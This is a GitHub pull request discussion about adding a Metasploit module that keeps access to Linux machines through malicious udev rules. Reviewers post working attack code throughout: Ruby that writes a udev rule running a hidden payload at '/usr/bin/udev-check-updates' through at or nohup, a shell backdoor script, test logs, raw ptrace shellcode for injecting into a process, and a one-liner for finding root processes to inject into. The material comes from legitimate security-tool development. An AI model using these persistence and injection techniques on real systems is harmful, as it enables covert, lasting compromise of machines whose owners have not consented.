Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add modules/exploits/linux/local/udev_persistence.rb #19472

Open
wants to merge 1 commit into
base: master
Choose a base branch
from

Conversation

jvoisin
Copy link
Contributor

@jvoisin jvoisin commented Sep 18, 2024

Add a way to persist via udev rules.

Verification

  • Start msfconsole
  • Get a shell
  • use exploits/linux/local/udev_persistence
  • Reboot the target
  • Verify that you get a shell once the target comes back online

@jvoisin jvoisin mentioned this pull request Sep 19, 2024
17 tasks
@jheysel-r7 jheysel-r7 self-assigned this Oct 1, 2024
Copy link
Contributor

@jheysel-r7 jheysel-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for the module @jvoisin! I started a payload handler but wasn't able to get this working by rebooting the target or by bringing up network interfaces manually or by attempting to trigger udev rules with udevadm trigger -v --subsystem-match=net

I was able to return a session by manually executing the payload file: /usr/bin/udev-check-updates but the persistence mechanism wasn't working for me.

I noticed some potential syntax errors, I'm wondering if there were maybe some changes made after you tested this? I've been testing on Ubuntu 22.04 (Linux 6.8.0-45-generic)

modules/exploits/linux/local/udev_persistence.rb Outdated Show resolved Hide resolved
modules/exploits/linux/local/udev_persistence.rb Outdated Show resolved Hide resolved
Copy link

github-actions bot commented Oct 1, 2024

Thanks for your pull request! Before this can be merged, we need the following documentation for your module:

@jheysel-r7 jheysel-r7 removed their assignment Oct 7, 2024
@dledda-r7 dledda-r7 self-assigned this Oct 8, 2024
Copy link

github-actions bot commented Oct 8, 2024

Thanks for your pull request! Before this can be merged, we need the following documentation for your module:

@dledda-r7
Copy link
Contributor

dledda-r7 commented Oct 9, 2024

Hello @jvoisin, tried the module but seems the rule is not triggered at boot time, the payload is written correctly and works, I will try to investigate further, would you mind adding the docs for this post module later? I opened a PR #19542 that you can use as base when it get landed.

UPDATE

it looks like in Ubuntu 22.04 there is no at preinstalled.

user@ubuntuvm01:~$ /usr/bin/at
-bash: /usr/bin/at: No such file or directory
user@ubuntuvm01:~$ /bin/at
-bash: /bin/at: No such file or directory
user@ubuntuvm01:~$

@jvoisin
Copy link
Contributor Author

jvoisin commented Oct 10, 2024

I added some documentation, and a check for the presence of /usr/bin/at

@dledda-r7 dledda-r7 added docs and removed needs-docs labels Oct 14, 2024
@dledda-r7
Copy link
Contributor

dledda-r7 commented Oct 15, 2024

I added some documentation, and a check for the presence of /usr/bin/at

I think we can get rid of the at dependency honestly and just providing the path to the script

write_file(datastore['BACKDOOR_PATH'], 'SUBSYSTEM=="net", KERNEL!="lo", RUN+="' + datastore['PAYLOAD_PATH']+'"')

I will do some tests.

@jvoisin
Copy link
Contributor Author

jvoisin commented Oct 15, 2024

It's non-trivial

@dledda-r7
Copy link
Contributor

dledda-r7 commented Oct 15, 2024

I see what you mean, I'm think we can make a child bash process with & and disown or using nohup directly, I'll try something now

Update

So i tried to play a bit with som bash scripting and maybe we can have a script like this

    backdoor = <<~EOF
      #!/bin/sh
      PAYLOAD_ENC="#{payload.encoded}"
      if [ -f /usr/bin/at ]; then
          echo sh -c "$PAYLOAD_ENC" | at -M now
      elif [ -f /usr/bin/nohup ]; then
          nohup sh -c "$PAYLOAD_ENC" > /dev/null 2>&1&
      else
          echo sh -c "$PAYLOAD_ENC" & disown | bash
      fi
    EOF
    upload_and_chmodx(datastore['PAYLOAD_PATH'], backdoor)

However for now I am still not able to trigger the rule on ubuntu 24.04 LTS, can you provide some details where you tested that? I also tried to change the default rules location but nothing.

@dledda-r7 dledda-r7 removed their assignment Oct 17, 2024
@msutovsky-r7 msutovsky-r7 self-assigned this Dec 15, 2024
Copy link
Contributor

@msutovsky-r7 msutovsky-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hi @jvoisin, I left some comments about the code

)
)
register_options([ OptString.new('PAYLOAD_PATH', [true, 'The payload\'s path on disk', '/usr/bin/udev-check-updates']) ])
register_options([ OptString.new('BACKDOOR_PATH', [true, 'The backdoor\'s path on disk', '/lib/udev/rules.d/99-update.rules']) ])
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Maybe consider adding CLEANUP to remove any possible artifacts of attacker's presence.

upload_and_chmodx(datastore['PAYLOAD_PATH'], "#!/bin/sh\n#{payload.encoded}")
print_status "#{datastore['PAYLOAD_PATH']} written"

write_file(datastore['BACKDOOR_PATH'], 'SUBSYSTEM=="net", KERNEL!="lo", RUN+="/usr/bin/at -M -f ' + datastore['PAYLOAD_PATH'] + ' now"')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The return value from write_file should be checked probably and print out error in case of failure.

@msutovsky-r7
Copy link
Contributor

msutovsky-r7 commented Jan 10, 2025

Regarding @dledda-r7 notes, as far as I remember, nohup is POSIX, so it makes more sense to use it. For example:

  def exploit
    #    unless executable? '/usr/bin/at'
    #      fail_with Failure::BadConfig, 'The required /usr/bin/at binary was not found on the target'
    #    end
    #    unless executable? '/usr/bin/nohup'
    #	fail_with Failure::BadConfig, 'The required /usr/bin/nohup binary was not found on the target'
    #
    unless writable? File.dirname(datastore['BACKDOOR_PATH'])
      fail_with Failure::BadConfig, "#{datastore['BACKDOOR_PATH']} is not writable"
    end
    if exists? datastore['BACKDOOR_PATH']
      fail_with Failure::BadConfig, "#{datastore['BACKDOOR_PATH']} is already present"
    end

    unless writable? File.dirname(datastore['PAYLOAD_PATH'])
      fail_with Failure::BadConfig, "#{datastore['PAYLOAD_PATH']} is not writable"
    end
    if exists? datastore['PAYLOAD_PATH']
      fail_with Failure::BadConfig, "#{datastore['PAYLOAD_PATH']} is already present"
    end

    upload_and_chmodx(datastore['PAYLOAD_PATH'], "#!/bin/sh\n#{payload.encoded}")
    print_status "#{datastore['PAYLOAD_PATH']} written"
    if executable? '/usr/bin/at'
      fail_with
      Failure::PayloadFailed('Creating udev rule failed.') unless write_file(datastore['BACKDOOR_PATH'], 'SUBSYSTEM=="net", KERNEL!="lo", RUN+="/usr/bin/at -M -f ' + datastore['PAYLOAD_PATH'] + ' now"')
    elsif executable? '/usr/bin/nohup'
      fail_with Failure::PayloadFailed('Creating udev rule failed.') unless write_file(datastore['BACKDOOR_PATH'], 'SUBSYSTEM=="net", KERNEL!="lo", RUN+="/usr/bin/nohup ' + datastore['PAYLOAD_PATH'] + ' 1&>/dev/null"')

    end

    print_status "#{datastore['BACKDOOR_PATH']} written"
  end

When it comes to simply payload like exec, it seems to be working. However, the network payloads are a bit worse - from tested systems, it worked on reboot only on one with kernel version 5.04.

Jan 10 12:58:04 kali (udev-worker)[7843]: lo: /usr/lib/udev/rules.d/50-udev-default.rules:31 Importing properties from results of builtin command 'net_driver'
Jan 10 12:58:04 kali (udev-worker)[7843]: lo: Querying driver name via ethtool API is not supported by device 'lo', ignoring: Operation not supported
Jan 10 12:58:04 kali (udev-worker)[7843]: lo: /usr/lib/udev/rules.d/75-net-description.rules:6 Importing properties from results of builtin command 'hwdb 'net:naming:dr:''
Jan 10 12:58:04 kali (udev-worker)[7843]: lo: No entry found from hwdb.
Jan 10 12:58:04 kali (udev-worker)[7843]: lo: /usr/lib/udev/rules.d/75-net-description.rules:6 Failed to run builtin 'hwdb 'net:naming:dr:'': No data available
Jan 10 12:58:04 kali (udev-worker)[7843]: lo: /usr/lib/udev/rules.d/75-net-description.rules:8 Importing properties from results of builtin command 'net_id'
Jan 10 12:58:04 kali (udev-worker)[7843]: lo: Failed to determine prefix for network interface naming, ignoring: Operation not supported
Jan 10 12:58:04 kali (udev-worker)[7843]: lo: /usr/lib/udev/rules.d/80-net-setup-link.rules:5 Importing properties from results of builtin command 'path_id'
Jan 10 12:58:04 kali (udev-worker)[7843]: lo: /usr/lib/udev/rules.d/80-net-setup-link.rules:5 Failed to run builtin 'path_id': No such file or directory
Jan 10 12:58:04 kali (udev-worker)[7843]: lo: /usr/lib/udev/rules.d/80-net-setup-link.rules:9 Importing properties from results of builtin command 'net_setup_link'
Jan 10 12:58:04 kali (udev-worker)[7843]: lo: Not applying .link settings on 'change' uevent.
Jan 10 12:58:04 kali (udev-worker)[7843]: lo: /usr/lib/udev/rules.d/80-net-setup-link.rules:11 NAME 'lo'
Jan 10 12:58:04 kali (udev-worker)[7843]: lo: /usr/lib/udev/rules.d/84-nm-drivers.rules:10 Running PROGRAM="/bin/sh -c '/usr/sbin/ethtool -i $1 |/usr/bin/sed -n s/^driver:\ //p' -- lo"
Jan 10 12:58:04 kali (udev-worker)[7843]: lo: Starting '/bin/sh -c '/usr/sbin/ethtool -i $1 |/usr/bin/sed -n s/^driver:\ //p' -- lo'
Jan 10 12:58:04 kali (udev-worker)[7843]: Successfully forked off '(spawn)' as PID 8300.
Jan 10 12:58:04 kali (udev-worker)[7843]: lo: '/bin/sh -c '/usr/sbin/ethtool -i $1 |/usr/bin/sed -n s/^driver:\ //p' -- lo'(err) 'Cannot get driver information: Operation not supported'
Jan 10 12:58:04 kali (udev-worker)[7843]: lo: Process '/bin/sh -c '/usr/sbin/ethtool -i $1 |/usr/bin/sed -n s/^driver:\ //p' -- lo' succeeded.
Jan 10 12:58:04 kali (udev-worker)[7843]: lo: sd-device: Created database file '/run/udev/data/n1' for '/devices/virtual/net/lo'.
Jan 10 12:58:04 kali (udev-worker)[7843]: lo: sd-device: Created database file '/run/udev/data/n1' for '/devices/virtual/net/lo'.
Jan 10 12:58:04 kali (udev-worker)[7843]: lo: Device processed (SEQNUM=5029, ACTION=change)
Jan 10 12:58:04 kali (udev-worker)[7843]: lo: sd-device-monitor(worker): Passed 245 byte to netlink monitor.
Jan 10 12:58:54 kali (udev-worker)[5072]: eth0: Process '/usr/bin/nohup /usr/bin/udev-check-updates 1&>/dev/null &' succeeded.
Jan 10 12:58:54 kali (udev-worker)[5072]: eth0: Running command "/usr/bin/nohup /usr/bin/udev-check-updates 1&>/dev/null"
Jan 10 12:58:54 kali (udev-worker)[5072]: eth0: Starting '/usr/bin/nohup /usr/bin/udev-check-updates 1&>/dev/null'
Jan 10 12:58:54 kali (udev-worker)[5072]: Successfully forked off '(spawn)' as PID 8710.
Jan 10 12:59:10 kali (udev-worker)[5072]: eth0: Spawned process '/usr/bin/nohup /usr/bin/udev-check-updates 1&>/dev/null' [8710] is taking longer than 14s to complete.
Jan 10 12:59:40 kali (udev-worker)[5072]: eth0: Spawned process '/usr/bin/nohup /usr/bin/udev-check-updates 1&>/dev/null' [8710] timed out after 44s, killing.
Jan 10 12:59:40 kali (udev-worker)[5072]: eth0: Process '/usr/bin/nohup /usr/bin/udev-check-updates 1&>/dev/null' terminated by signal KILL.
Jan 10 12:59:40 kali (udev-worker)[5072]: eth0: Failed to wait for spawned command '/usr/bin/nohup /usr/bin/udev-check-updates 1&>/dev/null': Input/output error
Jan 10 12:59:40 kali (udev-worker)[5072]: eth0: Failed to execute '/usr/bin/nohup /usr/bin/udev-check-updates 1&>/dev/null', ignoring: Input/output error

I'm not sure if it's really kernel issue (or distro issue), but the current state seems to be bit unreliable. @jvoisin, can you provide bit more details if you tested meterpreter payloads and where?

Update

From my testing, at seems to be working fine - the issue is that it's not always present on the system so naturally, we would probably prefer some method that would be more reliable. Yesterday, I did a bit of shellcode for process injection, however, it's in very raw format:

	mov     ecx, 0
	mov     edx, 0
	mov     rsi, {PID}
	mov     edi, 10        
	mov     eax, 0x65
	syscall
	sub 	rsp,0x80
	mov     rcx, rsp
	mov	rbp, rsp
	mov     edx, 0
	mov     rsi, {PID}
	mov     edi, 0x0C
	mov     eax, 0x65
	syscall


	xor ebx,ebx

	mov     rcx, {payload}
_copy_payload:	
	mov     rsi, {PID}
	mov     edi, 4       
	mov     eax, 65
	syscall
	inc rdx
	add rcx, 0x8
	cmp ebx, {payload_length}
	jb _copy_payload
	add rbp,0x80
	mov DWORD PTR [rbp], {address}

	sub rbp, 0x80
	mov     rcx, rbp
	mov     edx, 0
	mov     rsi, {PID}
	mov     edi, 0x0D
	mov     eax, 0x65
	syscall	
	mov     ecx, 0
	mov     edx, 0
	mov     rsi, {PID}
	mov     edi, 7       
	mov     eax, 0x65
	syscall

It would be useful to have persistence as process injection, the hardest part from my perspective is to somehow execute the shellcode persistently, maybe ideally without needing gcc on target's system - getting process ID and address should be fairly simple:

for i in $(ps -ef | grep root | awk '{ print $2}'); do if cat /proc/$i/maps 2>/dev      /null | grep \"r-xp\" > /dev/null; then  cat /proc/$i/maps | grep \"r-xp\" | head -1 | awk '{print $1}' | awk -F'-      ' '{print $1}'; echo $i; break; fi; done

I'll try to do more testing and see if how hard would be to make this work.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
Status: Waiting on Contributor
Development

Successfully merging this pull request may close these issues.

4 participants